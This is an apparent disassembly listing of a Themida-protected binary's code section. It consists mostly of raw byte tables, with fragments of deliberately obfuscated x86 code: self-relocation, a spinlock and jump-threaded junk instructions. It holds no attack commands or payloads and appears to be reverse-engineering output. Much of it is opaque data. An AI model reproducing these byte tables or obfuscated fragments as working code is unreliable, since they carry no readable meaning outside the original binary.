		dd 1B04h, 0C3534300h, 0ADA1CF05h, 30454CDCh, 20840Fh, 14E80000h
		dd 52000000h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 26FCABD4h
		dd 0FCB6678h, 8Eh, 0F8835B00h, 9C840F00h, 29000002h, 221E8D85h
		dd 0B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 35B0E5C3h, 0DE9DCE6h, 10000000h
		dd 0BDBBD1F0h, 5B122004h, 0DD168583h, 0F00F883h, 5884h
		dd 2F88300h, 1F850Fh, 8DFC0000h, 2246D185h, 2DD78B06h
		dd 929h, 39478DBBh, 0F3BA5008h,	890340EDh, 8BC32404h, 0B8D6h
		dd 0D88A0000h, 222E9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 3B48FE1h, 221AF195h, 1B806h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0E6BB44C3h, 0F8628C4Ah, 68D0F52h,	31000000h
		dd 2216319Dh, 0BD8D5A06h, 62246D6h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0ECC35343h,	0BCF7B1A3h, 69835F6Bh
		dd 0FE9h, 4B81F100h, 29093CF6h,	0A0E49E61h, 0E25E7C44h
		dd 27218589h, 0DAE90622h, 1000000h, 2208C995h, 2F88306h
		dd 1D850Fh, 81660000h, 8D2507E3h, 2248CEBDh, 159D2306h
		dd 0F9062204h, 0B4E9h, 61958B00h, 8306220Ah, 850F03F8h
		dd 6Ch,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0F3C35646h, 160608Fh, 2222259Dh, 61DDB206h, 6CA2BABBh
		dd 81666142h, 8D14DFF2h, 224A62BDh, 49CDBA06h, 62E9362Fh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0F257C352h, 0DB74BA82h, 95897B02h
		dd 62225D1h, 0F05F883h,	3085h, 9E900h, 46010000h, 0BC62C0A6h
		dd 0E978D424h, 86h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 91C35646h, 0B8605773h, 73E43207h, 138DBD89h
		dd 0B9610622h, 0CF3FB8Eh, 83DA8B66h, 840F003Fh,	4Ah, 30DABF0Fh
		dd 51B5290Fh, 0D1062214h, 0ED9D2BC9h, 4706222Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A6C35343h, 8EDC67D2h
		dd 8E9BD37h, 2000000h, 96F13923h, 0E9F70BF7h, 0FFFFFFAFh
		dd 0F88383B7h, 34850F05h, 66000000h, 59B2D98Ch,	0F04C1F6h
		dd 1585h, 0D1B70F00h, 0B8h, 0E9D78B00h,	17h, 1535BD01h
		dd 858B0622h, 6220131h,	0B02ABB66h, 8166E0FFh, 830C1ECBh
		dd 2201A9BDh, 850F0006h, 13Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0CBC35646h,	0C21B7A38h, 0E9BA50F5h
		dd 8965393Bh, 890F2404h, 0
		dd 330985C6h, 6A450622h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 3F0EC353h, 4E8F558h
		dd 69000000h, 8B8E7269h, 820F50D0h, 0Ah, 310F5250h, 5E22BA66h
		dd 448B585Ah, 8E90424h,	14000000h, 680EA5B4h, 8BC43AF8h
		dd 6E900h, 0ADCF0000h, 0EB309D2Ah, 4244489h, 15860Fh, 0DE80000h
		dd 63000000h, 370EFAB4h, 54C5163Dh, 8E257A9h, 585B5B50h
		dd 0C99D8960h, 6106222Ah, 0B5FFD38Bh, 62233A9h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 93C35646h, 0F1858DF9h
		dd 3106223Ah, 221D69B5h, 8BD0FF06h, 2209DD95h, 12E806h
		dd 8F590000h, 48635C1Ch, 9017CF4Bh, 10F687D8h, 6F1D5A7Eh
		dd 5AD8BF0Fh, 1A98589h,	6A0622h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 992951C3h, 1C7F03F4h
		dd 0E5858958h, 83062204h, 2250A5BDh, 840F0006h,	3Ah, 2850F52h
		dd 60000000h, 0B5FF5A61h, 6220815h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 9AC35141h, 3F16970Eh, 0FF748110h
		dd 2201A995h, 0F883F506h, 0EC850F00h, 0E9000000h, 13h
		dd 41309F6h, 35FF5BAEh,	0AD19828Bh, 0C37E2B44h,	83351AD7h
		dd 220251BDh, 840F0006h, 4Fh, 251B5FFh,	860F0622h, 0Ch
		dd 68F0Fh, 870F0000h, 0
		dd 0B8D98B66h, 1, 1801B589h, 8FE90622h,	6A000002h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 51ADC352h, 0F9BD893Ch, 0FF062219h, 220815B5h, 0C3816606h
		dd 0B5FF15E3h, 6220815h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 5CC35040h, 0AE936h, 1AC20000h, 0C9873132h
		dd 0A821F2A4h, 1A9B5FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0E72521C3h, 3D9D3156h
		dd 0E9062200h, 1FEh, 0D0B70F60h, 1E258D8Bh, 5F610622h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 46C35242h
		dd 39688575h, 24D8D89h,	0BD830622h, 62206B9h, 0E850F00h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F1ECC357h, 874D173h, 0E966F78Bh
		dd 7, 6B628975h, 0C66A5C55h, 22330985h,	6A4D06h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 3D33A4C3h, 8166D73Ah, 0E8B3B7DAh, 4,	0A43576A8h, 50D38B66h
		dd 860F5250h, 2, 310F77B3h, 66616060h, 5A61C88Bh, 24448B58h
		dd 0DE804h, 0F16F0000h,	0F58A484Ch, 7380EEE2h, 0E84ADE36h
		dd 11h,	0B80A329Dh, 2C7A4B55h, 2A5EB497h, 8A25F2E0h, 906ABAA0h
		dd 5A5A04C5h, 40BA008Bh, 891AF9F0h, 50042444h, 9BB6652h
		dd 66310FF5h, 5A18C6BAh, 8D895858h, 6220489h, 0FC9B5FFh
		dd 8E90622h, 57000000h,	1F5EE37Ch, 8D2E53E4h, 223AF185h
		dd 79850906h, 0FF062230h, 6840FD0h, 89000000h, 2202AD8Dh
		dd 8D9D0906h, 89062232h, 2206B985h, 54BB6606h, 0B822h
		dd 0BF0F0000h, 4EBD89D1h, 6A062250h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D75BC357h
		dd 34488642h, 0F57BE3Eh, 0C00BDABFh, 2F840Fh, 8E0F0000h
		dd 6, 2089C381h, 63E91945h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 654C353h
		dd 0A9B5FFB4h, 60062201h, 669CC580h, 61B78DBFh,	0B23F858Dh
		dd 6A0624h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 1850CFC3h, 0F63F8CFDh, 0D98B08F8h, 24048950h
		dd 32E99D8Bh, 56500622h, 58C6BD8Dh, 8D8D0622h, 6227E5Bh
		dd 8323BCB8h, 30CF2B74h, 47C8D007h, 5EF87549h, 51BD8358h
		dd 62202h, 8D8B0674h, 6221C79h,	0B8C933h, 0B000000h, 0A8840FC0h
		dd 83000000h, 223555BDh, 6740006h, 7B595FFh, 0B80622h
		dd 0B000000h, 830975C0h, 225056BDh, 9740106h, 5056BD83h
		dd 75020622h, 4EB58B0Eh, 8D062250h, 24B23F85h, 83D0FF06h
		dd 222599BDh, 6740006h,	4195FFh, 858D0622h, 62244B4h, 0BD83D0FFh
		dd 62215C5h, 8B2F7502h,	220265A5h, 51858B06h, 89062202h
		dd 85C72404h, 6220619h,	1, 5052B58Bh, 0AD8B0622h, 6223171h
		dd 1B8h, 0CC200h, 85C700EBh, 6220619h, 1, 265A58Bh, 0B58B0622h
		dd 6222975h, 3171AD8Bh,	0C0330622h, 83000CC2h, 222599BDh
		dd 0F740006h, 41BD83h, 74000622h, 4195FF06h, 8B062200h
		dd 22504EB5h, 0D78BC306h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 96C35040h, 9AB1FC0Ch,	0BA72FEh, 8B000000h
		dd 2228399Dh
		db 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5027CD
; ---------------------------------------------------------------------------

loc_5027CB:				; CODE XREF: Themida_:005027D0j
		inc	eax
		inc	edi

loc_5027CD:				; CODE XREF: Themida_:005027C9j
		cmp	byte ptr [edi],	0
		jnz	short loc_5027CB
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5027FC
; ---------------------------------------------------------------------------

loc_5027D9:				; CODE XREF: Themida_:005027FEj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5027F1
; ---------------------------------------------------------------------------

loc_5027EE:				; CODE XREF: Themida_:005027F4j
		mul	ebx
		dec	esi

loc_5027F1:				; CODE XREF: Themida_:005027ECj
		cmp	esi, 0
		ja	short loc_5027EE
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_5027FC:				; CODE XREF: Themida_:005027D7j
		or	eax, eax
		jnz	short loc_5027D9
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 5E4BA9C3h, 9E40D37h,	6860Fh,	9D8B0000h, 6220F3Dh, 9531D88Ah
		dd 6221631h, 0FEE9C18Bh, 28000227h, 3F025600h, 54025600h
		dd 6C0057B7h, 0E80012FFh, 5400579Bh, 57B7h, 2000000h, 2000002h
		dd 1000000h, 2000000h, 44000000h, 0FA2DA8h, 4 dup(0)
		dd 0EB000000h, 0D100506Dh, 0EC0050EBh, 20050D9h, 0B0005086h
		dd 0EC0050AFh, 0DC005092h, 2A005070h, 0BA005040h, 45005078h
		dd 7B0050F3h, 64005074h, 77005045h, 0FE0050B7h,	5A005045h
		dd 0D2005054h, 1900504Ch, 0D00503Eh, 14005076h,	0BF005080h
		dd 3F00507Ah, 0D0005068h, 6005077h, 0D90050D2h,	0B700509Ah
		dd 710050EFh, 1300507Bh, 0EB005091h, 75005046h,	0AF005043h
		dd 7D0050A5h, 860050B1h, 6A005075h, 690050EDh, 5E0050C5h
		dd 0AD005034h, 5E0050E5h, 0D0050CCh, 0C40050D1h, 0B3005090h
		dd 27005030h, 0DF00504Bh, 7C0050C0h, 650050A5h,	2F00507Eh
		dd 7A005073h, 71005099h, 0AB0050EDh, 0CE0050C8h, 89005083h
		dd 0F80050C0h, 0C8005054h, 1C005089h, 3F00505Fh, 0B900503Ch
		dd 0FD00502Fh, 0B900507Bh, 0AD0050EAh, 0FA0050B9h, 0EF005087h
		dd 0A3005095h, 6005087h, 24005055h, 9005090h, 0E70050E7h
		dd 93005055h, 750050B0h, 8200503Fh, 0CB0050A0h,	0C00507Bh
		dd 0EF0050D8h, 0D8005035h, 430050CBh, 570050BBh, 77005069h
		dd 0ED00509Fh, 6400506Ah, 0A70050F1h, 19005070h, 8400508Dh
		dd 0D60050AFh, 80050F3h, 72005087h, 2F005089h, 570050B5h
		dd 0A10050CBh, 900050D5h, 90005041h, 0CC00507Bh, 0C3005030h
		dd 0C00050DBh, 810050E3h, 0F90050E6h, 9F005089h, 0C6005081h
		dd 83005077h, 0E2005054h, 6200503Dh, 9600508Ah,	91005056h
		dd 0FD005093h, 1C0050D5h, 240050C0h, 3A005069h,	430050A8h
		dd 3F005097h, 5E0050C5h, 93005042h, 83005060h, 0CB0050B7h
		dd 0CC00509Ch, 0A8005031h, 0B7005075h, 0BC0050EDh, 6100504Ch
		dd 730050DCh, 0B80050CCh, 300050DDh, 0C80050EFh, 0DB0050C5h
		dd 2800503Fh, 0E700506Ch, 470050ADh, 5A005035h,	0F70050CFh
		dd 0E600505Ah, 0C4005045h, 710050D2h, 0F10050BDh, 7E0050DBh
		dd 38005031h, 62005077h, 0FE005040h, 60005047h,	0D700502Fh
		dd 0A50050B3h, 600050E2h, 0A40050C1h, 0B5005089h, 8100502Dh
		dd 21005052h, 0FF0050B5h, 4A005039h, 850050F0h,	64005060h
		dd 550050DDh, 0C30050A2h, 7C005092h, 0AA005037h, 0B00050B3h
		dd 0B300505Eh, 0D90050D4h, 510050D1h, 77005083h, 460050F0h
		dd 600050CDh, 9E0050E9h, 55005062h, 530050B2h, 28005099h
		dd 0F3005078h, 0D40050B0h, 0F30050E5h, 0B600507Dh, 0B50050ACh
		dd 900508Dh, 23005059h
		db 59h,	50h, 0
; ---------------------------------------------------------------------------

loc_502B27:				; CODE XREF: Themida_:005320ECj
					; Themida_:00534EC1j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62282EBh
		mov	eax, edi
		add	edi, 6228003h
		cmp	eax, [edi+2Ch]
		jnz	short loc_502B45
		jmp	short loc_502B58
; ---------------------------------------------------------------------------

loc_502B45:				; CODE XREF: Themida_:00502B41j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_502B54
; ---------------------------------------------------------------------------

loc_502B4F:				; CODE XREF: Themida_:00502B56j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_502B54:				; CODE XREF: Themida_:00502B4Dj
		or	ecx, ecx
		jnz	short loc_502B4F

loc_502B58:				; CODE XREF: Themida_:00502B43j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_502B65:				; CODE XREF: Themida_:00502B6Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_502B65

loc_502B6E:				; CODE XREF: Themida_:00503995j
					; Themida_:loc_504014j	...
		lodsb
		xor	al, bl
		jmp	loc_5077B1
; ---------------------------------------------------------------------------
aBi@zS		db 'ë@zÏ$éÝ$',0
		dd 0E9F20100h, 8AB5h, 68241C89h, 1EA274A8h, 8FEB815Bh
		dd 68220D73h, 5BC4h, 0B9240C89h, 25404BA6h, 0D40FE981h
		dd 0CB31B4E1h, 0B490E959h, 0BF570000h, 7B6D5CA9h, 3A21E781h
		dd 4E90DBCh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_502BC3:				; CODE XREF: Themida_:00507060j
		pop	esp
		xor	ecx, 442A3576h
		pop	ebx
		push	ecx
		jmp	loc_509AFD
; ---------------------------------------------------------------------------
aPtsj		db 'PT馶',0
		align 4
aQAQsK		db 'Qµ',0Bh,'€ÅQé+k',0
		dw 5E00h
		dd 4C581h, 2C870000h, 24248B24h, 20B5E9h
		db 0
; ---------------------------------------------------------------------------

loc_502BF5:				; CODE XREF: Themida_:0050920Bj
		add	eax, 737702Dh
		pop	ebx
		xor	dword ptr [eax], 6CBF4B53h
		pop	eax
		jmp	loc_50AE10
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 18686600h, 1C896668h, 0A842E924h, 8B5D0000h, 0C4832404h
		dd 0B9515704h, 2B3D227Dh, 11C6E981h, 0F7414E64h, 60E181D1h
		dd 81663851h, 4731E3F1h, 59CF8964h, 8305EFC1h, 0CF81FFEFh
		dd 71F44BDBh, 63DDE9h, 4C68100h, 0E9000000h, 6C6Fh, 5C24048Fh
		db 57h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50DACC
; ---------------------------------------------------------------------------
		db 5Bh,	50h, 0B8h
		dd 40D60998h, 8958C329h, 241C8BDEh, 104C483h, 0FF555EF5h
		dd 5D042474h, 5C24048Fh, 68C8B60Fh, 378Ah, 0E9240C89h
		dd 0FFFFFED6h, 0B050C300h, 0E9C0FE2Eh, 5C1Ch, 12796855h
		dd 2C8B2E19h, 4C48324h,	0AB8FE9h
		db 0
; ---------------------------------------------------------------------------

loc_502CB5:				; CODE XREF: Themida_:0050567Dj
		shl	eax, cl
		jmp	loc_5068CD
; ---------------------------------------------------------------------------
		dd 0B6520CB1h, 8BF1284Fh, 0F0E92414h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_502CCB:				; CODE XREF: Themida_:005053C7j
		push	ecx
		mov	ecx, 6F4D2644h
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_509337
; ---------------------------------------------------------------------------

loc_502CDB:				; CODE XREF: Themida_:0050444Fj
		push	eax
		push	edx
		mov	eax, [esp]
		jmp	loc_507F86
; ---------------------------------------------------------------------------
		db 57h,	2 dup(0BFh)
		dd 294C3E7Ch, 5F04247Ch, 5324048Bh, 70E95B54h, 5500006Fh
		dd 81E18951h, 4C1h, 4E98100h, 51000000h, 42474FFh, 30F2E9h
		dd 0B3536600h, 66DC284Fh, 8BF4805Bh, 48BE788h, 4C48124h
		dd 4000000h, 2CF8007Ah,	0B95DE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_502D36:				; CODE XREF: Themida_:0050DA95j
		add	esi, 1
		push	2DA7h
		mov	[esp], edx
		push	3DC2h
		jmp	loc_507007
; ---------------------------------------------------------------------------
		dw 0C5FEh
		dd 8066E580h, 0B45011EDh, 0C0C4FEFDh, 0E48008E4h, 0A2F48078h
		dd 0E9D5EC80h, 6AACh
; ---------------------------------------------------------------------------

loc_502D6C:				; CODE XREF: Themida_:0050424Ej
		neg	edx
		add	edx, 75F5A753h
		add	ebp, edx
		jmp	loc_50C4D6
; ---------------------------------------------------------------------------
		db 0BAh
		dd 18852AF1h, 9F40F4BBh, 5AD301FDh, 85E7E9h, 0EC835500h
		dd 8059E904h, 0C8B0000h, 0E1895124h, 4C181h, 0B8500000h
		dd 4, 3CD7BF57h, 574F274Ch, 8998E9h, 3C77FF00h,	5524048Bh
		dd 242C8B54h, 27D2E9h, 0C8EA8000h, 0D05AD700h, 331E9EFh
		dd 248B0000h, 240C8924h, 1B9h, 9DD1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_502DE2:				; CODE XREF: Themida_:00509813j
		add	esp, 4
		jmp	loc_5093C8
; ---------------------------------------------------------------------------

loc_502DED:				; CODE XREF: Themida_:0050D1BEj
		add	edi, 7BB13260h
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FF0F303Ch
		jmp	loc_50F2C1
; ---------------------------------------------------------------------------
		dd 0B86D7905h, 6EEDE95Ch, 58660000h, 8A28E9h, 3FB20500h
		dd 0E80117CAh, 4EC81h, 4E90000h, 8B00001Ch, 0C481241Ch
		dd 4, 15A7E952h, 815E0000h, 4C5h, 242C3300h, 33242C31h
		dd 835C242Ch, 5EE904ECh, 8B0000B4h, 0C481240Ch,	4, 8704C783h
		dd 2C5C243Ch, 0E9D80047h, 0B824h
; ---------------------------------------------------------------------------

loc_502E68:				; CODE XREF: Themida_:0050C243j
		add	esp, 4
		push	esi
		mov	esi, 3F2A7B6Fh
		add	ebp, esi
		pop	esi
		add	ebp, ecx
		sub	ebp, 3F2A7B6Fh
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_50F18C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4EE8300h, 0B661E9h, 0E9E98900h, 0E10h
; ---------------------------------------------------------------------------

loc_502EA8:				; CODE XREF: Themida_:0050C187j
		push	3A4Fh
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_50CFAC
; ---------------------------------------------------------------------------
		db 83h
		dd 58E904ECh
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_502ECB:				; CODE XREF: Themida_:00509340j
		add	esi, 4
		jmp	loc_50AD77
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2C590C17h, 0C681C601h, 2C590C17h, 582434FFh,	97EAE9h
		dd 92B85000h, 1FE4010h,	0CA8958C1h, 0E9D30159h,	8BE7h
		dd 0CAB9514Bh, 1932520h, 0BBBBE9CBh, 0E9580000h, 0FFFFFF13h
		dd 74314B9h, 49D1F751h,	0F181D1F7h, 17967BBBh, 0AE9C889h
		dd 80000060h, 0C38087F3h, 5BDD28AFh, 36E9EA20h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_502F3B:				; CODE XREF: Themida_:00503AEAj
		sub	esp, 4
		jmp	loc_50D7ED
; ---------------------------------------------------------------------------
		dw 0C389h
		dd 5BDE0158h, 2B54E951h, 0FF510000h, 59042474h,	0E924048Fh
		dd 0B0F6h, 24048B66h, 2015E9h
		db 0
; ---------------------------------------------------------------------------

loc_502F69:				; CODE XREF: Themida_:00506F58j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_503253
; ---------------------------------------------------------------------------

loc_502F80:				; CODE XREF: Themida_:0050994Ej
		mov	edi, 2574968h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, esi
		sub	edx, 2574968h
		pop	esi
		jmp	loc_50E102
; ---------------------------------------------------------------------------
a3Slg		db '3<$él£',0
		align 2
		dw 0E889h
		dd 0E9D8015Dh, 167Bh, 9C240429h, 0FFFBB5E9h, 48B66FFh
		dd 6D7E6824h, 2C890000h, 2C8B5424h, 0E7895724h,	4C781h
		dd 0C7830000h, 243C3304h, 33243C31h, 38E9243Ch,	0C100007Ch
		dd 4FE907E9h, 0BA0000A9h, 28D34152h, 5F4BE9h, 74BB5300h
		dd 0F761C215h, 9AD7E9D3h, 88BD0000h, 81323677h,	9C2DA8C5h
		dd 9435E97Ah, 0A32D0000h, 29033509h, 9A305D0h, 815A0335h
		dd 6D1FEEh, 83C62958h, 0C1E904ECh, 89000017h, 4BA2414h
		dd 56000000h, 0E62852BEh, 5EF7012Ch, 0EF81D701h, 2CE62852h
		dd 4EC815Ah, 89000000h,	96BA2414h, 0E942A622h, 3135h, 80C9FE58h
		dd 0C9FECCC1h, 46176866h, 24148966h, 88B1B450h,	1BE958E2h
		dd 0C1000013h, 0BB5304E1h, 4A5D2DB0h, 679FF381h, 0E94B0910h
		dd 9AA0h
; ---------------------------------------------------------------------------

loc_50308C:				; CODE XREF: Themida_:0050A279j
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		jmp	loc_5040FF
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 0C7815F54h, 4, 0A603E9h, 0E9592C00h, 7594h
		dd 0F2E951ADh, 5A0000BFh, 0C094E9h, 0E9D6F700h,	0C0C9h
; ---------------------------------------------------------------------------

loc_5030E0:				; CODE XREF: Themida_:00509293j
		push	edi
		mov	edi, 20000h
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50410B
; ---------------------------------------------------------------------------
		db 80h
		dd 0C78006EFh, 5BFC88D4h, 0FE04E4C0h, 0CAF480CCh, 2C4E9h
		dd 24148900h, 3A48C7BAh, 53505106h, 0B4C4E9h, 18E95500h
		dd 5100005Dh, 0E8006EB5h, 9DB0E9h, 0F665C00h, 9C2404ABh
		dd 41F0E9h, 0B7054000h,	1677347h, 0EB8158C3h, 634954E8h
		dd 0BA52C301h, 634954E8h, 0E95AD301h, 0CE1h, 0CAE97D04h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50316B:				; CODE XREF: Themida_:0050A1BFj
		sub	esp, 4
		mov	[esp], eax
		push	1EA65737h
		mov	eax, [esp]
		jmp	loc_5089BA
; ---------------------------------------------------------------------------
		dw 34FFh
aXhj1		db '$XhJ1',0
		dw 8900h
		dd 0E0892404h, 4BD55h, 0E8010000h, 0E089505Dh, 405h, 42D00h
		dd 4870000h, 1C895C24h,	4BB24h,	7E90000h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5031B3:				; CODE XREF: Themida_:00508FD7j
		mov	ecx, edi
		pop	edi
		pop	ebx
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_50522C
; ---------------------------------------------------------------------------
		db 4, 0D6h, 0E9h
		dd 7EB3h, 9D1C77FFh, 4105866h, 93E99C24h, 2DFFFFF9h, 36466C56h
		dd 5605D029h, 5A36466Ch, 0C73F5205h, 0EC81555Ch, 4, 8EF7E9h
		dd 8E9C100h, 3F016841h,	0F6E90000h
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_503207:				; CODE XREF: Themida_:005089F4j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_50C96B
; ---------------------------------------------------------------------------
		db 0C0h, 0E9h, 2
		dd 8035F180h, 0C1808FC1h, 1CD268E4h, 8CE90000h,	5000007Bh
		dd 983207B8h, 7F10252Dh, 0E8E91283h, 490000A4h,	0C26DC181h
		dd 69E98147h, 5000006h,	19AC29CFh, 0DAE9C389h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503253:				; CODE XREF: Themida_:00502F7Bj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_5049A4
; ---------------------------------------------------------------------------
aUiSnm		db 'U‰ÍéNm',0
		align 2
		dw 248Bh
		dd 48B6624h, 4EC8324h, 81241C89h, 4ECh,	48F5400h, 24048324h
		dd 0BE565B04h, 4, 42B9EB81h, 0F30177F4h, 42B9C381h, 685E77F4h
		dd 4A31h, 0B9240C89h, 2, 7573C381h, 0CB0159BCh,	7573EB81h
		dd 335959BCh, 99E9241Ch, 8100008Dh, 4C4h, 8BCB3100h, 8952240Ch
		dd 4C281E2h, 83000000h,	148704C2h, 9FE95C24h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5032E3:				; CODE XREF: Themida_:00507433j
		xor	esi, ecx
		xchg	eax, esi
		sub	esp, 4
		mov	[esp], ecx
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	eax
		mov	eax, 4
		jmp	loc_50B4A0
; ---------------------------------------------------------------------------
		dw 5A66h
		dd 1CE9E728h, 8900003Dh, 0D18951F2h, 5A59CB89h,	0E3C1435Eh
		dd 0FBDEE903h, 0C331FFFFh, 0E9008F66h, 0FFFFF842h, 0FFF83DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_503331:				; CODE XREF: Themida_:0050C057j
		xor	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_50BB22
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 4FCFC681h, 0C6815EF1h, 5A017F90h,	0EE81DE01h, 5A017F90h
		dd 2706E953h, 0C8B0000h, 4C48324h, 59EF68h, 24348900h
		dd 6575B951h, 35680539h, 89000058h, 1E68240Ch, 596CB13Bh
		dd 0FA6E981h, 0F181355Eh, 2D3813ADh, 5203E9C1h,	539EE9h
		dd 6CD8100h, 0E96B2C1Ch, 0BB4Fh, 46E9CB29h, 8B000022h
		dd 0C481242Ch, 4, 2A9B68h, 24048900h, 256366B8h, 4EC8159h
		dd 89000000h, 62B9240Ch, 29592563h, 0C50159C8h,	516DE9h
		dd 0E9E78800h, 9C8Ch
; ---------------------------------------------------------------------------

loc_5033E4:				; CODE XREF: Themida_:005047E1j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 165D52CAh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3FCA7E9Ch
		push	edi
		mov	edi, 2AFE1A2Fh
		shl	edi, 6
		shl	edi, 2
		add	edi, 1DE310AFh
		add	eax, edi
		pop	edi
		sub	eax, edx
		jmp	loc_50E792
; ---------------------------------------------------------------------------
aSa		db '\éí±',0
		align 4
		dd 81E78957h, 4C7h, 65746800h, 0C890000h, 350BE924h, 77FF0000h
		dd 59669D1Ch, 9C241CD2h, 0FFF701E9h, 2BEFFh, 0F1010000h
		dd 240C875Eh, 6624248Bh, 50240C8Bh, 0A919E9h, 3C9BBF00h
		dd 0CF812BC5h, 9525DB5h, 8104E7C1h, 342AC2C7h, 0E9FD2152h
		dd 6FF4h, 0E9240C89h, 88D8h, 17B1B951h,	0C181445Ah, 0FFFFFFFFh
		dd 0C981D1F7h, 20E9619Bh, 1A17E956h, 0F2010000h, 2CF7EA81h
		dd 348B6A73h, 4C48324h,	5C241487h, 92ECE9h, 24248B00h
